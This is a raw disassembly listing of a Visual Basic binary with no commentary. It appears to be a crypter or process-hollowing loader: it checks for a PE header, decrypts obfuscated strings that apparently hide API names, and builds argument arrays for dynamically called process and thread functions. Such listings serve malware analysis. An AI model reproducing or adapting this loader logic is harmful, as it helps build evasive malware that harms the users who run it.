		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	2
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		lea	eax, [ebp+var_190]
		push	eax
		call	VarPtr
		push	esi
		push	[ebp+var_32C]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], edi
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryLock
		push	[ebp+var_48]
		push	[ebp+var_2F8]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	[ebp+var_3D4], eax
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryUnlock
		mov	eax, [ebp+var_3D4]
		push	1
		push	[ebp+var_32C]
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], edi
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	2
		pop	eax
		push	eax
		push	[ebp+var_32C]
		mov	[ebp+var_358], 0F8h
		mov	[ebp+var_360], eax
		lea	ebx, [ebp+var_360]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		cmp	[ebp+var_190], 4550h
		jnz	loc_40A175
		mov	eax, [ebp+arg_8]
		push	44h
		pop	ebx
		push	dword ptr [eax]
		mov	[ebp+var_2B4], ebx
		push	offset dword_401F34
		call	__vbaStrCmp
		test	eax, eax
		jnz	short loc_409DED
		push	esi
		lea	eax, [ebp+var_194]
		mov	[ebp+var_338], eax
		push	80h
		lea	eax, [ebp+var_340]
		push	eax
		lea	eax, [ebp+var_328]
		push	eax
		mov	[ebp+var_340], 4008h
		call	rtcStrConvVar2
		lea	eax, [ebp+var_328]
		push	eax
		lea	eax, [ebp+var_330]
		push	eax
		call	__vbaVar2Vec
		lea	eax, [ebp+var_330]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	__vbaAryMove
		lea	ecx, [ebp+var_328]
		call	__vbaFreeVar


loc_409DED:				; CODE XREF: sub_4097F2+59Cj
		xor	edx, edx
		lea	ecx, [ebp+var_94]
		call	__vbaStrCopy
		push	0Ch
		pop	eax
		push	1
		mov	[ebp+var_2B4], ebx
		pop	ebx
		mov	edx, offset aKswmrhtlxw	; "kSWmRhtlXw"
		lea	ecx, [ebp+var_300]
		mov	[ebp+var_44], eax
		mov	[ebp+var_90], eax
		mov	[ebp+var_288], ebx
		mov	[ebp+var_284], 5
		call	__vbaStrCopy
		mov	edx, offset off_401F3C
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset aAcrkqaxyf ; "acRkQaxYF"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset a4c3798da46c9a6 ; "4C3798DA46C9A63344C70F8550AC"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	9
		push	ebx
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	[ebp+var_94]
		call	VarPtr
		push	esi
		push	[ebp+var_32C]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], edi
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	[ebp+var_14]
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryLock
		push	esi
		push	[ebp+var_2F8]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	[ebp+var_3D4], eax
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryUnlock
		mov	eax, [ebp+var_3D4]
		push	1
		push	[ebp+var_32C]
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], edi
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		lea	eax, [ebp+var_44]
		push	eax
		call	VarPtr
		push	2
		push	[ebp+var_32C]
		mov	[ebp+var_358], eax
		mov	[ebp+var_360], edi
		lea	ebx, [ebp+var_360]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		lea	eax, [ebp+var_90]
		push	eax
		call	VarPtr
		push	edi
		push	[ebp+var_32C]
		mov	[ebp+var_368], eax
		mov	[ebp+var_370], edi
		lea	ebx, [ebp+var_370]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	4
		push	[ebp+var_32C]
		mov	[ebp+var_378], esi
		mov	[ebp+var_380], 0Bh
		lea	ebx, [ebp+var_380]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	5
		push	[ebp+var_32C]
		mov	[ebp+var_388], 4
		mov	[ebp+var_390], 2
		lea	ebx, [ebp+var_390]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	6
		push	[ebp+var_32C]
		mov	[ebp+var_398], esi
		mov	[ebp+var_3A0], 2
		lea	ebx, [ebp+var_3A0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	7
		push	[ebp+var_32C]
		mov	[ebp+var_3A8], esi
		mov	[ebp+var_3B0], 2
		lea	ebx, [ebp+var_3B0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		lea	eax, [ebp+var_2B4]
		push	eax
		call	VarPtr
		push	8
		push	[ebp+var_32C]
		mov	[ebp+var_3B8], eax
		mov	[ebp+var_3C0], edi
		lea	ebx, [ebp+var_3C0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		lea	eax, [ebp+var_2C4]
		push	eax
		call	VarPtr
		mov	[ebp+var_3C8], eax
		mov	[ebp+var_3D0], edi
		lea	ebx, [ebp+var_3D0]
		push	9
		push	[ebp+var_32C]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		mov	ebx, eax
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		xor	eax, eax
		cmp	ebx, esi
		setz	al
		neg	eax
		mov	ebx, eax
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		cmp	bx, si
		jz	short loc_40A181


loc_40A175:				; CODE XREF: sub_4097F2+373j
					; sub_4097F2+57Cj
		or	[ebp+var_19C], 0FFFFFFFFh
		jmp	loc_40C010
; ---------------------------------------------------------------------------


loc_40A181:				; CODE XREF: sub_4097F2+981j
		mov	edx, offset a9iul2xr64mhp ; "9IUL2Xr64MHP"
		lea	ecx, [ebp+var_300]
		mov	[ebp+var_268], 10002h
		call	__vbaStrCopy
		mov	edx, offset aBc1e2a7351a4ff ; "BC1E2A7351A4FF4B5E587BBB"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset a5ixp5wm4te34zs ; "5IXp5wM4TE34zs"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset a0ed63105fc600a ; "0ED63105FC600AA7E11ED2E2F2DC8895"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	1
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		lea	eax, [ebp+var_268]
		push	eax
		call	VarPtr
		push	1
		push	[ebp+var_32C]
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], edi
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		mov	[ebp+var_3D4], eax
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		xor	ebx, ebx
		cmp	[ebp+var_3D4], esi
		lea	eax, [ebp+var_304]
		push	eax
		setz	bl
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		neg	ebx
		call	__vbaFreeStrList
		add	esp, 24h
		cmp	bx, si
		jnz	loc_40B25A
		mov	edx, offset a8tb2vaqctgf9z ; "8TB2vAQcTGf9Z"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset off_4020AC
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset aQ3p9wqf8 ;	"q3p9Wqf8"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset aB83d86b0a4b113 ; "B83D86B0A4B113EA5353200A33EA25FAB2"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	4
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	eax, [ebp+var_1C4]
		push	1
		push	[ebp+var_32C]
		add	eax, 8
		jo	loc_40C0F9
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], edi
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		lea	eax, [ebp+var_26C]
		push	eax
		call	VarPtr
		push	2
		push	[ebp+var_32C]
		mov	[ebp+var_358], eax
		mov	[ebp+var_360], edi
		lea	ebx, [ebp+var_360]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	edi
		push	[ebp+var_32C]
		mov	[ebp+var_368], 4
		mov	[ebp+var_370], 2
		lea	ebx, [ebp+var_370]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	4
		push	[ebp+var_32C]
		mov	[ebp+var_378], esi
		mov	[ebp+var_380], 2
		lea	ebx, [ebp+var_380]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		cmp	[ebp+var_26C], esi
		jz	loc_40B25A
		mov	edx, offset a9d0ogazuvx	; "9D0oGazuVX"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset aC096280f9398b4 ; "C096280F9398B458ED"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset aQno1otd7m94i ; "QNo1otD7m94I"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset a6d0aa1bd28dff1 ; "6D0AA1BD28DFF131ED212889736DAACBC1669EC"...
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	1
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		push	1
		push	[ebp+var_32C]
		lea	eax, [ebp+var_26C]
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], 4003h
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		mov	[ebp+var_3D4], eax
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		xor	ebx, ebx
		cmp	[ebp+var_3D4], esi
		setnz	bl
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		neg	ebx
		call	__vbaFreeStrList
		add	esp, 24h
		cmp	bx, si
		jz	loc_40B01D
		mov	edx, offset aCj2mjrv4pg	; "cJ2MJRV4Pg"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset aF2309ece7696d9 ; "F2309ECE7696D968F48E5C60"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset a3dr0zbqipyw8 ; "3dR0zbqiPyw8"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset aBb31c3998c9a41 ; "BB31C3998C9A414AE646EA6B8813"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	9
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	[ebp+var_94]
		call	VarPtr
		push	esi
		push	[ebp+var_32C]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], edi
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	[ebp+var_14]
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryLock
		push	esi
		push	[ebp+var_2F8]
		call	__vbaDerefAry1
		push	eax
		call	VarPtr
		mov	[ebp+var_3D4], eax
		lea	eax, [ebp+var_2F8]
		push	eax
		call	__vbaAryUnlock
		mov	eax, [ebp+var_3D4]
		push	1
		push	[ebp+var_32C]
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], edi
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		lea	eax, [ebp+var_44]
		push	eax
		call	VarPtr
		push	2
		push	[ebp+var_32C]
		mov	[ebp+var_358], eax
		mov	[ebp+var_360], edi
		lea	ebx, [ebp+var_360]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		lea	eax, [ebp+var_90]
		push	eax
		call	VarPtr
		push	edi
		push	[ebp+var_32C]
		mov	[ebp+var_368], eax
		mov	[ebp+var_370], edi
		lea	ebx, [ebp+var_370]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	4
		push	[ebp+var_32C]
		mov	[ebp+var_378], esi
		mov	[ebp+var_380], 0Bh
		lea	ebx, [ebp+var_380]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	5
		push	[ebp+var_32C]
		mov	[ebp+var_388], 4
		mov	[ebp+var_390], 2
		lea	ebx, [ebp+var_390]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	6
		push	[ebp+var_32C]
		mov	[ebp+var_398], esi
		mov	[ebp+var_3A0], 2
		lea	ebx, [ebp+var_3A0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	7
		push	[ebp+var_32C]
		mov	[ebp+var_3A8], esi
		mov	[ebp+var_3B0], 2
		lea	ebx, [ebp+var_3B0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		lea	eax, [ebp+var_2B4]
		push	eax
		call	VarPtr
		push	8
		push	[ebp+var_32C]
		mov	[ebp+var_3B8], eax
		mov	[ebp+var_3C0], edi
		lea	ebx, [ebp+var_3C0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		lea	eax, [ebp+var_2C4]
		push	eax
		call	VarPtr
		push	9
		push	[ebp+var_32C]
		mov	[ebp+var_3C8], eax
		mov	[ebp+var_3D0], edi
		lea	ebx, [ebp+var_3D0]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		mov	[ebp+var_314], esi
		lea	ecx, [ebp+var_30C]
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		mov	ebx, eax
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		xor	eax, eax
		cmp	ebx, esi
		setz	al
		neg	eax
		mov	ebx, eax
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		cmp	bx, si
		jnz	loc_40C010
		mov	edx, offset aL9otr1c6p ; "l9OTR1C6p"
		lea	ecx, [ebp+var_300]
		mov	[ebp+var_268], 10002h
		call	__vbaStrCopy
		mov	edx, offset a4203d6d59fddf5 ; "4203D6D59FDDF56EC94F76CC"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset aHagq55v57vs4sj ; "hagq55V57vS4SJ"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset a4233a8a68c2a47 ; "4233A8A68C2A47C2FC102FB30E20182A"
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	1
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C0]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		lea	eax, [ebp+var_268]
		push	eax
		call	VarPtr
		push	1
		push	[ebp+var_32C]
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], edi
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		mov	[ebp+var_3D4], eax
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		xor	ebx, ebx
		cmp	[ebp+var_3D4], esi
		lea	eax, [ebp+var_304]
		push	eax
		setz	bl
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		neg	ebx
		call	__vbaFreeStrList
		add	esp, 24h
		cmp	bx, si
		jnz	loc_40B25A
		mov	edx, offset aQl7o8shlufpbs ; "Ql7o8SHLuFpbs"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset a7d6917e7d01217 ; "7D6917E7D012172F3148882A"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_314]
		call	__vbaStrMove
		mov	edx, offset aJu9053o9 ;	"jU9053o9"
		lea	ecx, [ebp+var_308]
		call	__vbaStrCopy
		mov	edx, offset off_4023F0
		lea	ecx, [ebp+var_304]
		call	__vbaStrCopy
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		call	sub_40DA8A
		mov	edx, eax
		lea	ecx, [ebp+var_318]
		call	__vbaStrMove
		push	esi
		push	4
		push	1
		push	esi
		lea	eax, [ebp+var_32C]
		push	eax
		push	10h
		push	880h
		call	__vbaRedim
		add	esp, 1Ch
		push	esi
		push	[ebp+var_32C]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_338], eax
		mov	[ebp+var_340], 4003h
		lea	ebx, [ebp+var_340]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarZero
		mov	eax, [ebp+var_1C4]
		push	1
		push	[ebp+var_32C]
		add	eax, 8
		jo	loc_40C0F9
		mov	[ebp+var_348], eax
		mov	[ebp+var_350], edi
		lea	ebx, [ebp+var_350]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		lea	eax, [ebp+var_26C]
		push	eax
		call	VarPtr
		push	2
		push	[ebp+var_32C]
		mov	[ebp+var_358], eax
		mov	[ebp+var_360], edi
		lea	ebx, [ebp+var_360]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	edi
		push	[ebp+var_32C]
		mov	[ebp+var_368], 4
		mov	[ebp+var_370], 2
		lea	ebx, [ebp+var_370]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		push	4
		push	[ebp+var_32C]
		mov	[ebp+var_378], esi
		mov	[ebp+var_380], 2
		lea	ebx, [ebp+var_380]
		call	__vbaDerefAry1
		mov	ecx, eax
		mov	edx, ebx
		call	__vbaVarMove
		mov	edx, [ebp+var_318]
		lea	ecx, [ebp+var_310]
		mov	[ebp+var_318], esi
		call	__vbaStrMove
		mov	edx, [ebp+var_314]
		lea	ecx, [ebp+var_30C]
		mov	[ebp+var_314], esi
		call	__vbaStrMove
		lea	eax, [ebp+var_32C]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		call	sub_408D64
		lea	eax, [ebp+var_32C]
		push	eax
		push	esi
		call	__vbaErase
		lea	eax, [ebp+var_318]
		push	eax
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		lea	eax, [ebp+var_308]
		push	eax
		lea	eax, [ebp+var_304]
		push	eax
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		push	8
		call	__vbaFreeStrList
		add	esp, 24h
		mov	edx, offset a3lu28j05lzy7t8 ; "3lU28J05Lzy7T8Ea"
		lea	ecx, [ebp+var_300]
		call	__vbaStrCopy
		mov	edx, offset a23d7effdb010ac ; "23D7EFFDB010AC5299"
		lea	ecx, [ebp+var_2FC]
		call	__vbaStrCopy
		lea	eax, [ebp+var_300]
		push	eax
		lea	eax, [ebp+var_2FC]
